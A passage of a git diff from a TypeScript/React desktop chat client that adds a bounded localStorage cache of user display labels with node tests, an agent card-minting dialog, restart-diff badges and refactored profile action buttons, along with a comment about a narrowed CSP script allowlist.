     staleTime: 60_000,
     gcTime: 5 * 60 * 1_000,
   });
@@ -375,6 +388,9 @@ export function useUsersBatchQuery(
   // Seed individual "user-profile" cache entries so avatar clicks are instant
   // cache hits instead of fresh network requests.
   React.useEffect(() => {
+    // Persisted labels are intentionally presentation-only. Wait for a relay
+    // result before seeding profile-detail caches that also carry ownership.
+    if (query.dataUpdatedAt === 0) return;
     const profiles = query.data?.profiles;
     if (!profiles) return;
     for (const [pubkey, summary] of Object.entries(profiles)) {
@@ -391,7 +407,7 @@ export function useUsersBatchQuery(
           },
       );
     }
-  }, [query.data, queryClient]);
+  }, [query.data, query.dataUpdatedAt, queryClient]);
 
   return query;
 }
diff --git a/desktop/src/features/profile/lib/animatedAvatarCapture.ts b/desktop/src/features/profile/lib/animatedAvatarCapture.ts
index 3c906e1cbc..e812a0e65b 100644
--- a/desktop/src/features/profile/lib/animatedAvatarCapture.ts
+++ b/desktop/src/features/profile/lib/animatedAvatarCapture.ts
@@ -106,7 +106,10 @@ const PERSON_OUTLINE_OFFSETS = [
 ] as const;
 
 // Pinned to the installed @mediapipe/tasks-vision version so the wasm loader
-// always matches the JS API.
+// always matches the JS API. `script-src` in tauri.conf.json allowlists the
+// jsDelivr path prefix for the @mediapipe npm scope rather than the whole
+// origin, which also serves arbitrary npm and GitHub scripts; this URL must
+// stay under that prefix — `src-tauri/tests/csp.rs` checks that it does.
 const MEDIAPIPE_WASM_BASE =
   "https://cdn.jsdelivr.net/npm/@mediapipe/tasks-vision@0.10.35/wasm";
 const SELFIE_SEGMENTER_MODEL_URL =
diff --git a/desktop/src/features/profile/lib/userLabelStorage.test.mjs b/desktop/src/features/profile/lib/userLabelStorage.test.mjs
new file mode 100644
index 0000000000..c791b1f734
--- /dev/null
+++ b/desktop/src/features/profile/lib/userLabelStorage.test.mjs
@@ -0,0 +1,225 @@
+import assert from "node:assert/strict";
+import test from "node:test";
+
+async function loadSubject() {
+  try {
+    return await import("./userLabelStorage.ts");
+  } catch {
+    return {};
+  }
+}
+
+function installLocalStorage() {
+  const values = new Map();
+  globalThis.window = {
+    localStorage: {
+      getItem: (key) => values.get(key) ?? null,
+      setItem: (key, value) => values.set(key, value),
+      removeItem: (key) => values.delete(key),
+      key: (index) => [...values.keys()][index] ?? null,
+      get length() {
+        return values.size;
+      },
+    },
+  };
+  globalThis.localStorage = globalThis.window.localStorage;
+  return values;
+}
+
+test("reads cached labels as safe stale profile summaries", async () => {
+  const subject = await loadSubject();
+  assert.equal(typeof subject.readCachedUserLabels, "function");
+  installLocalStorage();
+  window.localStorage.setItem(
+    "buzz-user-labels.v1:wss://relay.example",
+    JSON.stringify({
+      version: 1,
+      updatedAt: 100,
+      profiles: {
+        abcdef: {
+          displayName: "Alice",
+          name: "alice",
+          nip05Handle: "alice@example.com",
+          updatedAt: 100,
+        },
+      },
+    }),
+  );
+
+  assert.deepEqual(
+    subject.readCachedUserLabels("WSS://Relay.Example/", ["ABCDEF", "missing"]),
+    {
+      profiles: {
+        abcdef: {
+          displayName: "Alice",
+          name: "alice",
+          avatarUrl: null,
+          nip05Handle: "alice@example.com",
+          ownerPubkey: null,
+        },
+      },
+      missing: [],
+    },
+  );
+});
+
+test("keeps previous full profiles ahead of persisted label placeholders", async () => {
+  const subject = await loadSubject();
+  assert.equal(typeof subject.resolveUserLabelPlaceholderData, "function");
+  installLocalStorage();
+  window.localStorage.setItem(
+    "buzz-user-labels.v1:wss://relay.example",
+    JSON.stringify({
+      version: 1,
+      profiles: {
+        abcdef: {
+          displayName: "Cached Alice",
+          name: "alice",
+          nip05Handle: null,
+          updatedAt: 100,
+        },
+      },
+    }),
+  );
+  const previous = {
+    profiles: {
+      abcdef: {
+        displayName: "Fresh Alice",
+        name: "alice",
+        avatarUrl: "https://relay.example/alice.png",
+        nip05Handle: null,
+        ownerPubkey: "owner",
+      },
+    },
+    missing: [],
+  };
+
+  assert.equal(
+    subject.resolveUserLabelPlaceholderData(previous, "wss://relay.example", [
+      "abcdef",
+    ]),
+    previous,
+  );
+});
+
+test("writes merge with existing labels and remain bounded", async () => {
+  const subject = await loadSubject();
+  assert.equal(typeof subject.writeCachedUserLabels, "function");
+  installLocalStorage();
+
+  subject.writeCachedUserLabels("wss://relay.example", {
+    existing: {
+      displayName: "Existing",
+      name: null,
+      avatarUrl: null,
+      nip05Handle: null,
+      ownerPubkey: null,
+    },
+  });
+  subject.writeCachedUserLabels(
+    "wss://relay.example",
+    Object.fromEntries(
+      Array.from({ length: 1_005 }, (_, index) => [
+        `pubkey-${index}`,
+        {
+          displayName: `Person ${index}`,
+          name: null,
+          avatarUrl: null,
+          nip05Handle: null,
+          ownerPubkey: null,
+        },
+      ]),
+    ),
+  );
+
+  const stored = JSON.parse(
+    window.localStorage.getItem(
+      subject.userLabelCacheKey("wss://relay.example"),
+    ),
+  );
+  assert.equal(Object.keys(stored.profiles).length, 1_000);
+  assert.equal(stored.version, 1);
+  assert.equal(stored.updatedAt, undefined);
+});
+
+test("removes a stale label when the fresh profile clears all names", async () => {
+  const subject = await loadSubject();
+  assert.equal(typeof subject.writeCachedUserLabels, "function");
+  installLocalStorage();
+
+  subject.writeCachedUserLabels("wss://relay.example", {
+    abcdef: {
+      displayName: "Alice",
+      name: "alice",
+      avatarUrl: null,
+      nip05Handle: null,
+      ownerPubkey: null,
+    },
+  });
+  subject.writeCachedUserLabels("wss://relay.example", {
+    abcdef: {
+      displayName: null,
+      name: null,
+      avatarUrl: null,
+      nip05Handle: null,
+      ownerPubkey: null,
+    },
+  });
+
+  assert.equal(
+    subject.readCachedUserLabels("wss://relay.example", ["abcdef"]),
+    undefined,
+  );
+});
+
+test("removes stale labels for profiles the relay reports missing", async () => {
+  const subject = await loadSubject();
+  assert.equal(typeof subject.writeCachedUserLabels, "function");
+  installLocalStorage();
+
+  subject.writeCachedUserLabels("wss://relay.example", {
+    abcdef: {
+      displayName: "Alice",
+      name: "alice",
+      avatarUrl: null,
+      nip05Handle: null,
+      ownerPubkey: null,
+    },
+  });
+  subject.writeCachedUserLabels("wss://relay.example", {}, ["ABCDEF"]);
+
+  assert.equal(
+    subject.readCachedUserLabels("wss://relay.example", ["abcdef"]),
+    undefined,
+  );
+});
+
+test("removes only the selected relay cache", async () => {
+  const subject = await loadSubject();
+  assert.equal(typeof subject.removeUserLabelCacheForRelay, "function");
+  installLocalStorage();
+  const first = subject.userLabelCacheKey("wss://one.example");
+  const second = subject.userLabelCacheKey("wss://two.example");
+  window.localStorage.setItem(first, "{}");
+  window.localStorage.setItem(second, "{}");
+
+  subject.removeUserLabelCacheForRelay("wss://one.example");
+
+  assert.equal(window.localStorage.getItem(first), null);
+  assert.equal(window.localStorage.getItem(second), "{}");
+});
+
+test("ignores malformed cache payloads", async () => {
+  const subject = await loadSubject();
+  assert.equal(typeof subject.readCachedUserLabels, "function");
+  installLocalStorage();
+  window.localStorage.setItem(
+    "buzz-user-labels.v1:wss://relay.example",
+    JSON.stringify({ version: 1, profiles: { abc: { displayName: 42 } } }),
+  );
+
+  assert.equal(
+    subject.readCachedUserLabels("wss://relay.example", ["abc"]),
+    undefined,
+  );
+});
diff --git a/desktop/src/features/profile/lib/userLabelStorage.ts b/desktop/src/features/profile/lib/userLabelStorage.ts
new file mode 100644
index 0000000000..b28c17da96
--- /dev/null
+++ b/desktop/src/features/profile/lib/userLabelStorage.ts
@@ -0,0 +1,176 @@
+import { normalizeRelayUrl } from "@/features/profile/lib/selfProfileStorage";
+import type {
+  UserProfileSummary,
+  UsersBatchResponse,
+} from "@/shared/api/types";
+import { setLocalStorageItemWithRecovery } from "@/shared/lib/localStorageQuota";
+
+const STORAGE_KEY_PREFIX = "buzz-user-labels.v1";
+const MAX_CACHED_LABELS = 1_000;
+
+type CachedUserLabel = {
+  displayName: string | null;
+  name: string | null;
+  nip05Handle: string | null;
+  updatedAt: number;
+};
+
+type UserLabelCache = {
+  version: 1;
+  profiles: Record<string, CachedUserLabel>;
+};
+
+export function userLabelCacheKey(relayUrl: string): string {
+  return `${STORAGE_KEY_PREFIX}:${normalizeRelayUrl(relayUrl)}`;
+}
+
+function nullableString(value: unknown): string | null | undefined {
+  if (value === null || value === undefined) return null;
+  return typeof value === "string" ? value : undefined;
+}
+
+function parseCachedUserLabel(value: unknown): CachedUserLabel | null {
+  if (typeof value !== "object" || value === null) return null;
+  const raw = value as Record<string, unknown>;
+  const displayName = nullableString(raw.displayName);
+  const name = nullableString(raw.name);
+  const nip05Handle = nullableString(raw.nip05Handle);
+  if (
+    displayName === undefined ||
+    name === undefined ||
+    nip05Handle === undefined
+  ) {
+    return null;
+  }
+  if (![displayName, name, nip05Handle].some((label) => label?.trim())) {
+    return null;
+  }
+  return {
+    displayName,
+    name,
+    nip05Handle,
+    updatedAt:
+      typeof raw.updatedAt === "number" && Number.isFinite(raw.updatedAt)
+        ? raw.updatedAt
+        : 0,
+  };
+}
+
+function readCache(relayUrl: string): UserLabelCache | null {
+  try {
+    const raw = window.localStorage.getItem(userLabelCacheKey(relayUrl));
+    if (!raw) return null;
+    const parsed = JSON.parse(raw) as unknown;
+    if (typeof parsed !== "object" || parsed === null) return null;
+    const payload = parsed as Record<string, unknown>;
+    if (
+      payload.version !== 1 ||
+      typeof payload.profiles !== "object" ||
+      payload.profiles === null
+    ) {
+      return null;
+    }
+
+    const profiles: Record<string, CachedUserLabel> = {};
+    for (const [pubkey, value] of Object.entries(
+      payload.profiles as Record<string, unknown>,
+    )) {
+      const label = parseCachedUserLabel(value);
+      if (label) profiles[pubkey.toLowerCase()] = label;
+    }
+    return {
+      version: 1,
+      profiles,
+    };
+  } catch {
+    return null;
+  }
+}
+
+export function readCachedUserLabels(
+  relayUrl: string,
+  pubkeys: string[],
+): UsersBatchResponse | undefined {
+  const cache = readCache(relayUrl);
+  if (!cache) return undefined;
+
+  const profiles: UsersBatchResponse["profiles"] = {};
+  for (const pubkey of pubkeys) {
+    const normalizedPubkey = pubkey.toLowerCase();
+    const cached = cache.profiles[normalizedPubkey];
+    if (!cached) continue;
+    profiles[normalizedPubkey] = {
+      displayName: cached.displayName,
+      name: cached.name,
+      avatarUrl: null,
+      nip05Handle: cached.nip05Handle,
+      ownerPubkey: null,
+    };
+  }
+
+  return Object.keys(profiles).length > 0
+    ? { profiles, missing: [] }
+    : undefined;
+}
+
+export function resolveUserLabelPlaceholderData(
+  previousData: UsersBatchResponse | undefined,
+  relayUrl: string,
+  pubkeys: string[],
+): UsersBatchResponse | undefined {
+  return (
+    previousData ??
+    (relayUrl ? readCachedUserLabels(relayUrl, pubkeys) : undefined)
+  );
+}
+
+export function writeCachedUserLabels(
+  relayUrl: string,
+  profiles: Record<string, UserProfileSummary>,
+  missing: string[] = [],
+): void {
+  try {
+    const now = Date.now();
+    const merged = { ...(readCache(relayUrl)?.profiles ?? {}) };
+    for (const [pubkey, profile] of Object.entries(profiles)) {
+      const label = parseCachedUserLabel({
+        displayName: profile.displayName,
+        name: profile.name,
+        nip05Handle: profile.nip05Handle,
+        updatedAt: now,
+      });
+      const normalizedPubkey = pubkey.toLowerCase();
+      if (label) {
+        merged[normalizedPubkey] = label;
+      } else {
+        delete merged[normalizedPubkey];
+      }
+    }
+    for (const pubkey of missing) {
+      delete merged[pubkey.toLowerCase()];
+    }
+
+    const boundedProfiles = Object.fromEntries(
+      Object.entries(merged)
+        .sort(([, left], [, right]) => right.updatedAt - left.updatedAt)
+        .slice(0, MAX_CACHED_LABELS),
+    );
+    setLocalStorageItemWithRecovery(
+      userLabelCacheKey(relayUrl),
+      JSON.stringify({
+        version: 1,
+        profiles: boundedProfiles,
+      } satisfies UserLabelCache),
+    );
+  } catch {
+    // Storage access failures are non-fatal.
+  }
+}
+
+export function removeUserLabelCacheForRelay(relayUrl: string): void {
+  try {
+    window.localStorage.removeItem(userLabelCacheKey(relayUrl));
+  } catch {
+    // Storage access failures are non-fatal.
+  }
+}
diff --git a/desktop/src/features/profile/ui/UserProfilePanel.tsx b/desktop/src/features/profile/ui/UserProfilePanel.tsx
index c1f713d230..cb188dd008 100644
--- a/desktop/src/features/profile/ui/UserProfilePanel.tsx
+++ b/desktop/src/features/profile/ui/UserProfilePanel.tsx
@@ -71,8 +71,10 @@ import { UserProfileAgentSettingsMenuSlot } from "@/features/profile/ui/UserProf
 import { useProfileAgentDeletion } from "@/features/profile/ui/UserProfilePanelDeletion";
 import { useProfileFieldBuckets } from "@/features/profile/ui/UserProfilePanelFields";
 import { submitProfilePersonaDialog } from "@/features/profile/ui/UserProfilePanelPersonaSubmit";
-import { UserProfilePersonaDialogs } from "@/features/profile/ui/UserProfilePersonaDialogs";
-import { UserProfileSnapshotExportDialog } from "@/features/profile/ui/UserProfileSnapshotExportDialog";
+import {
+  type CardMintTarget,
+  UserProfilePersonaDialogs,
+} from "@/features/profile/ui/UserProfilePersonaDialogs";
 import {
   deriveProfileChannels,
   type ProfilePanelTab,
@@ -181,6 +183,8 @@ export function UserProfilePanel({
     React.useState<AgentPersona | null>(null);
   const [personaToExportSnapshot, setPersonaToExportSnapshot] =
     React.useState<AgentPersona | null>(null);
+  const [cardMintTarget, setCardMintTarget] =
+    React.useState<CardMintTarget | null>(null);
 
   const personasQuery = usePersonasQuery();
   const managedAgentsQuery = useManagedAgentsQuery({ enabled: true });
@@ -824,6 +828,19 @@ export function UserProfilePanel({
           onOpenInstructions={() => setView("instructions")}
           onTabChange={setTab}
           onOpenDm={onOpenDm}
+          onCreateCard={
+            canManagePersona && resolvedPersona
+              ? () =>
+                  setCardMintTarget({
+                    // Prefer the live instance pubkey; fall back to the
+                    // persona/definition id (same resolution as export).
+                    id: managedAgent?.pubkey ?? resolvedPersona.id,
+                    name: resolvedPersona.displayName,
+                    // Locking needs an instance keypair to encrypt to.
+                    canLock: Boolean(managedAgent?.pubkey),
+                  })
+              : undefined
+          }
           presenceStatus={presenceStatus}
           profile={profile}
           pubkey={effectivePubkey}
@@ -921,6 +938,7 @@ export function UserProfilePanel({
   const personaDialogs = (
     <>
       <UserProfilePersonaDialogs
+        cardMintTarget={cardMintTarget}
         createError={
           createPersonaMutation.error instanceof Error
             ? createPersonaMutation.error
@@ -933,31 +951,29 @@ export function UserProfilePanel({
           updateManagedAgentMutation.isPending ||
           createAgentMutation.isPending
         }
+        linkedAgentPubkey={managedAgent?.pubkey ?? null}
         personaDialogState={personaDialogState}
         personaToDelete={personaToDelete}
+        personaToExportSnapshot={personaToExportSnapshot}
+        resolvedPersona={resolvedPersona}
         runtimes={acpRuntimesQuery.data ?? []}
+        runtimesError={acpRuntimesQuery.isError}
         runtimesLoading={acpRuntimesQuery.isLoading}
         updateError={
           updatePersonaMutation.error instanceof Error
             ? updatePersonaMutation.error
             : null
         }
+        onCloseCardMint={() => setCardMintTarget(null)}
         onCloseDelete={() => setPersonaToDelete(null)}
         onCloseDialog={() => setPersonaDialogState(null)}
+        onCloseExportSnapshot={() => setPersonaToExportSnapshot(null)}
         onConfirmDelete={(selectedPersona) => {
           void handleConfirmDeletePersona(selectedPersona);
         }}
+        onExportSnapshot={setPersonaToExportSnapshot}
         onSubmit={handleSubmitPersona}
       />
-      {personaToExportSnapshot ? (
-        <UserProfileSnapshotExportDialog
-          linkedAgentPubkey={managedAgent?.pubkey ?? null}
-          onOpenChange={(open) => {
-            if (!open) setPersonaToExportSnapshot(null);
-          }}
-          persona={personaToExportSnapshot}
-        />
-      ) : null}
     </>
   );
   return (
diff --git a/desktop/src/features/profile/ui/UserProfilePanelSections.tsx b/desktop/src/features/profile/ui/UserProfilePanelSections.tsx
index 4514b62d95..22647eb286 100644
--- a/desktop/src/features/profile/ui/UserProfilePanelSections.tsx
+++ b/desktop/src/features/profile/ui/UserProfilePanelSections.tsx
@@ -1,23 +1,16 @@
 import * as React from "react";
-import type { LucideIcon } from "lucide-react";
 import {
   ArrowUpRight,
   ChevronDown,
   ChevronUp,
   CircleAlert,
-  MessageSquare,
-  Pencil,
-  Play,
-  RefreshCw,
-  Square,
-  UserMinus,
   UserPlus,
 } from "lucide-react";
-import { toast } from "sonner";
 
 import { MemorySection } from "@/features/agent-memory/ui/MemorySection";
 import { useAgentWorking } from "@/features/agents/agentWorkingSignal";
 import { getManagedAgentPrimaryActionLabel } from "@/features/agents/lib/managedAgentControlActions";
+import { RestartDiffBadge } from "@/features/agents/ui/RestartDiffBadge";
 import { ManagedAgentLogPanel } from "@/features/agents/ui/ManagedAgentLogPanel";
 import { AgentConfigPanel } from "@/features/agents/ui/AgentConfigPanel";
 import { getPresenceLabel } from "@/features/presence/lib/presence";
@@ -44,19 +37,20 @@ import {
   STATUS_DOT_MASK_CURVE,
 } from "@/features/profile/ui/MaskedAvatarBadgeFrame";
 import { ProfileAvatar } from "@/features/profile/ui/ProfileAvatar";
+import {
+  ProfilePersonaPrimaryActions,
+  ProfilePrimaryActions,
+} from "@/features/profile/ui/UserProfilePrimaryActions";
 import { StatusEmoji } from "@/features/user-status/ui/StatusEmoji";
 import { BotIdenticon } from "@/features/messages/ui/BotIdenticon";
 import type { ManagedAgent, RelayAgent } from "@/shared/api/types";
-import { Spinner } from "@/shared/ui/spinner";
 import type {
   ProfileChannelLink,
   ProfilePanelTab,
 } from "@/features/profile/ui/UserProfilePanelUtils";
-import { useFeatureEnabled } from "@/shared/features";
 import { cn } from "@/shared/lib/cn";
 import { Alert, AlertDescription, AlertTitle } from "@/shared/ui/alert";
 import { Badge } from "@/shared/ui/badge";
-import { Tooltip, TooltipContent, TooltipTrigger } from "@/shared/ui/tooltip";
 
 export { AgentInstructionsFocusedView } from "@/features/profile/ui/UserProfilePanelAgentDetails";
 
@@ -105,6 +99,8 @@ export type ProfileSummaryViewProps = {
   onOpenInstructions: () => void;
   onTabChange: (tab: ProfilePanelTab, options?: { replace?: boolean }) => void;
   onOpenDm?: (pubkeys: string[]) => Promise<void> | void;
+  /** Mint an agent trading card. Present only for owner-managed personas. */
+  onCreateCard?: () => void;
   presenceStatus: "online" | "away" | "offline" | undefined;
   profile: ReturnType<typeof useUserProfileQuery>["data"];
   pubkey: string | null;
@@ -218,6 +214,7 @@ export function ProfileSummaryView({
   onOpenInstructions,
   onTabChange,
   onOpenDm,
+  onCreateCard,
   presenceStatus,
   profile,
   pubkey,
@@ -349,6 +346,7 @@ export function ProfileSummaryView({
         <ProfilePersonaPrimaryActions
           canEditAgent={canEditAgent}
           disabled={isAgentActionPending}
+          onCreateCard={onCreateCard}
           onEditAgent={handleEditAgent}
           onStartAgent={handleInstantiateAgent}
         />
@@ -356,6 +354,7 @@ export function ProfileSummaryView({
         <ProfilePrimaryActions
           canEditAgent={canEditAgent}
           followMutation={followMutation}
+          onCreateCard={onCreateCard}
           onEditAgent={handleEditAgent}
           agentActionDisabled={isAgentActionPending}
           agentActionLabel={
@@ -388,6 +387,18 @@ export function ProfileSummaryView({
         />
       ) : null}
 
+      {/* Tab-independent restart badge — visible on every tab so the user
+          sees it on a plain Info-tab open, not only on the Runtime tab.
+          Fixes the side-panel badge inconsistency (info-tab default = badge invisible
+          before this change). */}
+      {managedAgent?.needsRestart ? (
+        <RestartDiffBadge
+          autoRestartEnabled={managedAgent.autoRestartOnConfigChange}
+          className="self-center"
+          restartDiff={managedAgent.restartDiff}
+        />
+      ) : null}
+
       {showTabSection ? (
         <section className="space-y-3">
           {showTabBar ? (
@@ -422,6 +433,7 @@ export function ProfileSummaryView({
                 diagnosticsFields={diagnosticsFields}
                 diagnosticsSummary={diagnosticsTrailing}
                 needsRestart={managedAgent?.needsRestart ?? false}
+                restartDiff={managedAgent?.restartDiff ?? []}
                 onOpenDiagnostics={onOpenDiagnostics}
                 onOpenInstructions={onOpenInstructions}
                 runtimeConfigurationFields={runtimeConfigurationFields}
@@ -629,181 +641,6 @@ function ProfileHeroDescription({ about }: { about: string }) {
   );
 }
 
-// ── Primary actions ──────────────────────────────────────────────────────────
-
-function ProfilePrimaryActions({
-  agentActionDisabled,
-  agentActionLabel,
-  agentActionLive,
-  canEditAgent,
-  followMutation,
-  isFollowing,
-  messagePending,
-  onAgentPrimaryAction,
-  onAgentRestart,
-  onEditAgent,
-  onMessage,
-  pubkey,
-  unfollowMutation,
-}: {
-  agentActionDisabled?: boolean;
-  agentActionLabel?: string;
-  agentActionLive?: boolean;
-  canEditAgent: boolean;
-  followMutation: ReturnType<typeof useFollowMutation>;
-  isFollowing: boolean;
-  messagePending?: boolean;
-  onAgentPrimaryAction?: () => void;
-  onAgentRestart?: () => void;
-  onEditAgent: () => void;
-  onMessage?: () => void;
-  pubkey: string;
-  unfollowMutation: ReturnType<typeof useUnfollowMutation>;
-}) {
-  const showFollowAction = useFeatureEnabled("pulse");
-  const followToggleMutation = isFollowing ? unfollowMutation : followMutation;
-
-  const handleFollowClick = () => {
-    followToggleMutation.mutate(pubkey, {
-      onError: (error) =>
-        toast.error(
-          `${isFollowing ? "Unfollow" : "Follow"} failed: ${error.message}`,
-        ),
-    });
-  };
-
-  return (
-    <div className="flex items-center justify-center gap-8">
-      {showFollowAction ? (
-        <ProfileQuickAction
-          active={isFollowing}
-          disabled={followToggleMutation.isPending}
-          icon={isFollowing ? UserMinus : UserPlus}
-          label={isFollowing ? "Unfollow" : "Follow"}
-          onClick={handleFollowClick}
-        />
-      ) : null}
-      {onMessage ? (
-        <ProfileQuickAction
-          disabled={messagePending}
-          icon={MessageSquare}
-          isLoading={messagePending}
-          label="Message"
-          onClick={onMessage}
-          testId="user-profile-message"
-        />
-      ) : null}
-      {canEditAgent ? (
-        <ProfileQuickAction
-          icon={Pencil}
-          label="Edit"
-          onClick={onEditAgent}
-          testId="user-profile-edit-agent"
-        />
-      ) : null}
-      {onAgentPrimaryAction && agentActionLabel ? (
-        <ProfileQuickAction
-          active={agentActionLive}
-          disabled={agentActionDisabled}
-          icon={agentActionLive ? Square : Play}
-          label={agentActionLabel}
-          onClick={onAgentPrimaryAction}
-          testId="user-profile-agent-primary-action"
-        />
-      ) : null}
-      {onAgentRestart ? (
-        <ProfileQuickAction
-          disabled={agentActionDisabled}
-          icon={RefreshCw}
-          label="Restart"
-          onClick={onAgentRestart}
-          testId="user-profile-agent-restart"
-        />
-      ) : null}
-    </div>
-  );
-}
-
-function ProfilePersonaPrimaryActions({
-  canEditAgent,
-  disabled,
-  onEditAgent,
-  onStartAgent,
-}: {
-  canEditAgent: boolean;
-  disabled: boolean;
-  onEditAgent: () => void;
-  onStartAgent: () => void;
-}) {
-  return (
-    <div className="flex items-center justify-center gap-8">
-      <ProfileQuickAction
-        disabled={disabled}
-        icon={Play}
-        label="Start agent"
-        onClick={onStartAgent}
-        testId="user-profile-start-agent"
-      />
-      {canEditAgent ? (
-        <ProfileQuickAction
-          disabled={disabled}
-          icon={Pencil}
-          label="Edit"
-          onClick={onEditAgent}
-          testId="user-profile-edit-agent"
-        />
-      ) : null}
-    </div>
-  );
-}
-
-function ProfileQuickAction({
-  active,
-  disabled,
-  icon: Icon,
-  isLoading,
-  label,
-  onClick,
-  testId,
-}: {
-  active?: boolean;
-  disabled?: boolean;
-  icon: LucideIcon;
-  isLoading?: boolean;
-  label: string;
-  onClick: () => void;
-  testId?: string;
-}) {
-  return (
-    <Tooltip>
-      <TooltipTrigger asChild>
-        <button
-          aria-label={label}
-          className={cn(
-            "flex h-12 w-12 items-center justify-center rounded-full transition-colors disabled:cursor-not-allowed disabled:opacity-50",
-            active
-              ? "bg-foreground text-background hover:bg-foreground/90"
-              : "bg-muted/60 text-foreground hover:bg-muted/80",
-          )}
-          data-testid={testId}
-          disabled={disabled}
-          onClick={onClick}
-          type="button"
-        >
-          {isLoading ? (
-            <Spinner aria-hidden="true" className="h-4 w-4 border-2" />
-          ) : (
-            <Icon className="h-4 w-4" />
-          )}
-        </button>
-      </TooltipTrigger>
-      <TooltipContent align="center" side="top">
-        {label}
-      </TooltipContent>
-    </Tooltip>
-  );
-}
-
 // ── Focused views ────────────────────────────────────────────────────────────
 
 export function MemoryFocusedView({
diff --git a/desktop/src/features/profile/ui/UserProfilePanelTabs.tsx b/desktop/src/features/profile/ui/UserProfilePanelTabs.tsx
index 0fe4e19581..be6d5add43 100644
--- a/desktop/src/features/profile/ui/UserProfilePanelTabs.tsx
+++ b/desktop/src/features/profile/ui/UserProfilePanelTabs.tsx
@@ -9,7 +9,12 @@ import {
   Wrench,
 } from "lucide-react";
 
-import type { ManagedAgent } from "@/shared/api/types";
+import type { ManagedAgent, RestartDiffEntry } from "@/shared/api/types";
+import {
+  AUTO_RESTART_OFF_BLURB,
+  AUTO_RESTART_ON_BLURB,
+  RestartDiffList,
+} from "@/features/agents/ui/RestartDiffBadge";
 import type { ActiveTurnSummary } from "@/features/agents/activeAgentTurnsStore";
 import { ManagedAgentSessionPanel } from "@/features/agents/ui/ManagedAgentSessionPanel";
 import {
@@ -809,6 +814,7 @@ export function ProfileRuntimeTabContent({
   diagnosticsFields,
   diagnosticsSummary,
   needsRestart = false,
+  restartDiff = [],
   onOpenDiagnostics,
   onOpenInstructions,
   runtimeConfigurationFields,
@@ -823,6 +829,8 @@ export function ProfileRuntimeTabContent({
   diagnosticsSummary: React.ReactNode;
   /** True when the running agent's config has drifted from what it was spawned with. */
   needsRestart?: boolean;
+  /** The full itemised diff — shown uncapped in the Runtime banner. */
+  restartDiff?: RestartDiffEntry[];
   onOpenDiagnostics: () => void;
   onOpenInstructions: () => void;
   runtimeConfigurationFields: ProfileField[];
@@ -844,7 +852,8 @@ export function ProfileRuntimeTabContent({
     statusDiagnosticsFields.length === 0 &&
     detailDiagnosticsFields.length === 0 &&
     !showDiagnosticsIngress &&
-    !showInstructionBlock
+    !showInstructionBlock &&
+    !needsRestart
   ) {
     return null;
   }
@@ -863,9 +872,12 @@ export function ProfileRuntimeTabContent({
             </p>
             <p className="mt-0.5 text-xs text-muted-foreground">
               {autoRestartEnabled
-                ? "Configuration changed since this agent started. Buzz can restart it automatically after ~3 minutes idle, or stop and respawn it to apply now."
-                : "Configuration changed since this agent started. Automatic restart is off for this agent \u2014 stop and respawn it to apply the changes."}
+                ? AUTO_RESTART_ON_BLURB
+                : AUTO_RESTART_OFF_BLURB}
             </p>
+            {/* Full uncapped diff list — Runtime banner is the only surface
+                where all entries show without truncation. */}
+            <RestartDiffList restartDiff={restartDiff} />
           </div>
         </div>
       ) : null}
diff --git a/desktop/src/features/profile/ui/UserProfilePersonaDialogs.tsx b/desktop/src/features/profile/ui/UserProfilePersonaDialogs.tsx
index 5e468b5320..9fae1bd889 100644
--- a/desktop/src/features/profile/ui/UserProfilePersonaDialogs.tsx
+++ b/desktop/src/features/profile/ui/UserProfilePersonaDialogs.tsx
@@ -4,38 +4,68 @@ import type {
   CreatePersonaInput,
   UpdatePersonaInput,
 } from "@/shared/api/types";
+import { AgentCardMintDialog } from "@/features/agents/ui/AgentCardMintDialog";
 import { PersonaDeleteDialog } from "@/features/agents/ui/PersonaDeleteDialog";
 import { AgentDialog } from "@/features/agents/ui/AgentDialog";
 import type { PersonaDialogState } from "@/features/agents/ui/personaDialogState";
+import { UserProfileSnapshotExportDialog } from "@/features/profile/ui/UserProfileSnapshotExportDialog";
+
+/** Agent selected for card minting. */
+export type CardMintTarget = {
+  id: string;
+  name: string;
+  canLock: boolean;
+};
 
 export function UserProfilePersonaDialogs({
+  cardMintTarget,
   createError,
   instanceCount,
   isPending,
+  linkedAgentPubkey,
   personaDialogState,
   personaToDelete,
+  personaToExportSnapshot,
+  resolvedPersona,
   runtimes,
   runtimesLoading,
+  runtimesError = false,
   updateError,
+  onCloseCardMint,
   onCloseDelete,
   onCloseDialog,
+  onCloseExportSnapshot,
   onConfirmDelete,
+  onExportSnapshot,
   onSubmit,
 }: {
+  cardMintTarget: CardMintTarget | null;
   createError: Error | null;
   /** Number of managed-agent instances backed by the persona being deleted. */
   instanceCount: number;
   isPending: boolean;
+  linkedAgentPubkey: string | null;
   personaDialogState: PersonaDialogState | null;
   personaToDelete: AgentPersona | null;
+  personaToExportSnapshot: AgentPersona | null;
+  resolvedPersona: AgentPersona | undefined;
   runtimes: AcpRuntimeCatalogEntry[];
   runtimesLoading: boolean;
+  runtimesError?: boolean;
   updateError: Error | null;
+  onCloseCardMint: () => void;
   onCloseDelete: () => void;
   onCloseDialog: () => void;
+  onCloseExportSnapshot: () => void;
   onConfirmDelete: (persona: AgentPersona) => void;
+  onExportSnapshot: (persona: AgentPersona) => void;
   onSubmit: (input: CreatePersonaInput | UpdatePersonaInput) => Promise<void>;
 }) {
+  const runtimeCatalogStatus = runtimesLoading
+    ? "loading"
+    : runtimesError
+      ? "error"
+      : ("ready" as const);
   return (
     <>
       <AgentDialog
@@ -45,7 +75,7 @@ export function UserProfilePersonaDialogs({
         isPending={isPending}
         mode="definition-edit"
         runtimes={runtimes}
-        runtimesLoading={runtimesLoading}
+        runtimeCatalogStatus={runtimeCatalogStatus}
         onOpenChange={(open) => {
           if (!open) {
             onCloseDialog();
@@ -67,6 +97,35 @@ export function UserProfilePersonaDialogs({
         open={personaToDelete !== null}
         persona={personaToDelete}
       />
+      {personaToExportSnapshot ? (
+        <UserProfileSnapshotExportDialog
+          linkedAgentPubkey={linkedAgentPubkey}
+          onOpenChange={(open) => {
+            if (!open) onCloseExportSnapshot();
+          }}
+          persona={personaToExportSnapshot}
+        />
+      ) : null}
+      {cardMintTarget ? (
+        <AgentCardMintDialog
+          agentId={cardMintTarget.id}
+          agentName={cardMintTarget.name}
+          canLock={cardMintTarget.canLock}
+          onExportInstead={
+            resolvedPersona
+              ? () => {
+                  // Free path: swap the mint dialog for the ordinary
+                  // snapshot export flow (same importable agent, no spend).
+                  onCloseCardMint();
+                  onExportSnapshot(resolvedPersona);
+                }
+              : undefined
+          }
+          onOpenChange={(open) => {
+            if (!open) onCloseCardMint();
